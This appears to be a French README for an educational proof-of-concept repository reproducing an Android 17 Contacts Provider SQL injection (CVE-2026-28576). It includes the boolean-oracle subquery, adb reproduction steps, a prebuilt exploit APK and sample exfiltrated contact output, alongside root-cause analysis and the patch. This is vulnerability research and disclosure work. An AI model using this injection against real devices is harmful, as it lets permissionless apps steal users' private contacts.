
Preuve de concept pédagogique démontrant une vulnérabilité d'injection SQL dans le Contacts Provider d'Android 17, permettant à une application sans aucune permission d'exfiltrer l'intégralité de la base de contacts via un octroi d'URI à contact unique.
Un contact sélectionné, tous les contacts : une barrière de compatibilité targetSdk transforme un octroi de sélection d'un seul contact en extraction complète de la base de données de contacts.
Android 17 a renforcé le Contacts Provider contre l'injection SQL avec setStrictColumns() / setStrictGrammar() — mais a déployé ce renforcement derrière un changement de compatibilité conditionné par le targetSdk (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Toute application ciblant le SDK 36 ou inférieur ignore silencieusement les vérifications strictes et peut dissimuler des sous-requêtes à oracle booléen dans la selection de la requête pour lire l'intégralité de la base de données de contacts via un octroi d'URI à contact unique. Pas de READ_CONTACTS, aucune permission du tout.
Remarque : Nous n'avons pas découvert cette vulnérabilité. Ce dépôt contient notre analyse, reproduction et PoC pédagogique indépendants pour aider la communauté de la sécurité à comprendre cette classe de bug : les correctifs de sécurité conditionnés par
@EnabledAfter(targetSdkVersion)laissent toute application ciblant un ancien SDK sur le chemin vulnérable.
Analyse complète avec captures d'écran et vidéo de démonstration : L'injection SQL existe toujours, même dans Android : un contact sélectionné, tous les contacts (CVE-2026-28576)
├── poc/ # Application d'exploitation PoC (UI + sélecteur de contacts système)
│ ├── src/ # MainActivity.java — sélecteur + exploitation à oracle booléen
│ ├── AndroidManifest.xml # ZÉRO permission, targetSdk 36
│ └── build.sh # Compilation sans gradle : aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # APK PoC pré-compilé (signé debug, prêt à installer)
├── REPRODUCE.md # Guide de reproduction complet étape par étape
├── evidence-*.log # Exécutions vulnérables / corrigées capturées
└── README.md
Vous avez besoin d'un émulateur Android 17 avec un niveau de correctif de sécurité antérieur au 2026-07-01
(nous avons utilisé l'AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — une image bêta qui porte encore la barrière de compatibilité vulnérable).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# Vérifier que le niveau de correctif est antérieur au correctif
adb shell getprop ro.build.version.security_patch
# Insérer quelques contacts victimes (en tant que shell, qui détient les permissions contacts)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
Voir REPRODUCE.md pour l'ensemencement complet des contacts et les deux variantes d'exécution.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
À l'écran :
checkUriPermission -> 0) et l'unique contact qu'elle est légitimement autorisée à voir.Nécessite le SDK Android (build-tools 36.0.0, plateforme android-37.0) et un JDK 17. Pas besoin de gradle :
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, AUCUNE permission)
La couche d'octroi fonctionne correctement. Le sélecteur de contacts d'Android 17 remet à l'application un octroi d'URI en lecture seule pour exactement un contact : content://com.android.contacts/contacts/lookup/<key>/1. Toute autre requête directe est refusée avec une SecurityException.
La couche SQL, elle, ne fonctionne pas. Parce que le PoC cible le SDK 36, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) renvoie false et le fournisseur ignore setStrictColumns() / setStrictGrammar(). L'encapsulage par parenthèses setStrict(true) toujours actif n'empêche que les évasions de clause comme ') OR 1=1 -- ; il ne fait rien contre les sous-requêtes équilibrées.
Injection à oracle booléen. L'application émet une requête d'apparence ordinaire contre son URI octroyée avec une sous-requête dissimulée dans la sélection :
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
Sur une build Android 17 vulnérable, l'application sans aucune permission exfiltre tous les noms, numéros de téléphone et e-mails via un octroi pour un seul contact (voir evidence-picker-run.log) :
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
Le correctif fait basculer le changement 484953293 pour qu'il s'applique à tous les appelants quel que soit le targetSdk — une seule annotation supprimée (variante publique : commit GrapheneOS c4129a1c) :
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
Vous pouvez reproduire le comportement corrigé exact sur une build vulnérable sans flasher quoi que ce soit :
adb shell am compat enable 484953293 com.poc.cve202628576
# La même requête meurt désormais avant d'atteindre SQLite :
# IllegalArgumentException: Invalid token SELECT
Voir evidence-patched-run.log.
Analyse et PoC par Mobile Hacking Lab. Nous avons reproduit cette vulnérabilité de manière indépendante à des fins pédagogiques.
Cette preuve de concept est fournie uniquement à des fins de recherche en sécurité éducative et autorisée. Ne l'utilisez que sur des appareils et environnements que vous possédez ou pour lesquels vous avez une autorisation explicite de test. Les auteurs ne sont pas responsables de toute utilisation abusive.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| Sévérité | Élevée dans le bulletin ; l'avis GitHub la score CVSS v4 10.0 (Critique) — discutablement élevée compte tenu des préconditions |
| Composant | Contacts Provider (ContactsProvider2.queryLocal()) |
| Cause racine | Changement de compatibilité ENFORCE_STRICT_SQL_CHECKS conditionné par @EnabledAfter(BAKLAVA) |
| Impact | Toute application disposant d'un octroi d'URI à contact unique lit l'intégralité de la base de données de contacts sans READ_CONTACTS |
| Affecté | Android 17, niveau de correctif de sécurité < 2026-07-01 |
| Corrigé | Bulletin de sécurité Android 17 |
Si le caractère deviné correspond, la ligne octroyée revient (cursor.getCount() == 1) ; sinon le curseur est vide. Une requête par caractère deviné, itérée sur LIMIT 1 OFFSET k pour chaque ligne et mimetype — un numéro de téléphone tombe en moins d'une seconde, et toute la base de données en bien moins d'une minute.